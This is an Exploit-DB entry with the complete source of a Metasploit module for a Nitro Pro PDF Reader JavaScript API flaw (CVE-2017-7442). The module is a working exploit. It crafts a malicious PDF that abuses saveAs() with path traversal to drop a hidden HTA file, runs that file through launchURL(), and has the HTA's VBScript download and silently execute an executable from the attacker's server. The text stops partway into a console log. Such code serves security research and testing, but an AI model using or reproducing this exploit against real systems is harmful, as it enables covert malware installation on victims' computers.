Exploit-DB #42418
Description: Nitro Pro PDF Reader 11.0.3.173 - Javascript API Code Execution (Metasploit)
Type: local
Platform: windows
Date: 2017-08-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution',
      'Description'    => %q{
          This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
          PDF Reader version 11. The saveAs() Javascript API function allows for writing
          arbitrary files to the file system. Additionally, the launchURL() function allows
          an attacker to execute local files on the file system and bypass the security dialog

          Note: This is 100% reliable.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'mr_me <steven[at]srcincite.io>',         # vulnerability discovery and exploit
        'Brendan Coles <bcoles [at] gmail.com>',  # hidden hta tricks!
        'sinn3r'                                  # help with msf foo!
      ],
      'References'     =>
        [
          [ 'CVE', '2017-7442' ],
          [ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ],           # public advisory #1
          [ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ],    # public advisory #2 (verified and acquired by SSD)
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => false
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # truly universal
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => 'Jul 24 2017',
      'DefaultTarget'  => 0))

      register_options([
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
      ])
      deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end

  def build_vbs(url, stager_name)
    name_xmlhttp  = rand_text_alpha(2)
    name_adodb    = rand_text_alpha(2)
    vbs           = %Q|<head><hta:application
    applicationname="#{@payload_name}"
    border="none"
    borderstyle="normal"
    caption="false"
    contextmenu="false"
    icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico"
    maximizebutton="false"
    minimizebutton="false"
    navigable="false"
    scroll="false"
    selection="false"
    showintaskbar="No"
    sysmenu="false"
    version="1.0"
    windowstate="Minimize"></head>
    <style>* { visibility: hidden; }</style>
    <script language="VBScript">
    window.resizeTo 1,1
    window.moveTo -2000,-2000
    </script>
    <script type="text/javascript">setTimeout("window.close()", 5000);</script>
    <script language="VBScript">
    On Error Resume Next
    Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
    #{name_xmlhttp}.open "GET","http://#{url}",False
    #{name_xmlhttp}.send
    Set #{name_adodb} = CreateObject("ADODB.Stream")
    #{name_adodb}.Open
    #{name_adodb}.Type=1
    #{name_adodb}.Write #{name_xmlhttp}.responseBody
    #{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2
    set shellobj = CreateObject("wscript.shell")
    shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0
    </script>|
    vbs.gsub!(/    /,'')
    return vbs
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending second stage payload")
      return if ((p=regenerate_payload(cli)) == nil)
      data = generate_payload_exe( {:code=>p.encoded} )
      send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
      return
    end
  end

  def exploit
    # In order to save binary data to the file system the payload is written to a .vbs
    # file and execute it from there.
    @payload_name = rand_text_alpha(4)
    @temp_folder  = "/Windows/Temp"
    register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta")
    if datastore['SRVHOST'] == '0.0.0.0'
      lhost = Rex::Socket.source_address('50.50.50.50')
    else
      lhost = datastore['SRVHOST']
    end
    payload_src  = lhost
    payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
    stager_name = rand_text_alpha(6) + ".vbs"
    pdf = %Q|%PDF-1.7
    4 0 obj
    <<
    /Length 0
    >>
    stream
    |
    pdf << build_vbs(payload_src, stager_name)
    pdf << %Q|
    endstream endobj
    5 0 obj
    <<
    /Type /Page
    /Parent 2 0 R
    /Contents 4 0 R
    >>
    endobj
    1 0 obj
    <<
    /Type /Catalog
    /Pages 2 0 R
    /OpenAction [ 5 0 R /Fit ]
      /Names <<
        /JavaScript <<
          /Names [ (EmbeddedJS)
            <<
              /S /JavaScript
              /JS (
                    this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
                    app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
              )
            >>
          ]
        >>
      >>
    >>
    endobj
    2 0 obj
    <</Type/Pages/Count 1/Kids [ 5 0 R ]>>
    endobj
    3 0 obj
    <<>>
    endobj
    xref
    0 6
   [PII_REDACTED] 65535 f
   [PII_REDACTED] 00000 n
   [PII_REDACTED] 00000 n
   [PII_REDACTED] 00000 n
   [PII_REDACTED] 00000 n
   [PII_REDACTED] 00000 n
    trailer <<
    /Size 6
    /Root 1 0 R
    >>
    startxref
    327
    %%EOF|
    pdf.gsub!(/    /,'')
    file_create(pdf)
    super
  end
end

=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc
[*] Processing scripts/nitro.rc for ERB directives.
resource (scripts/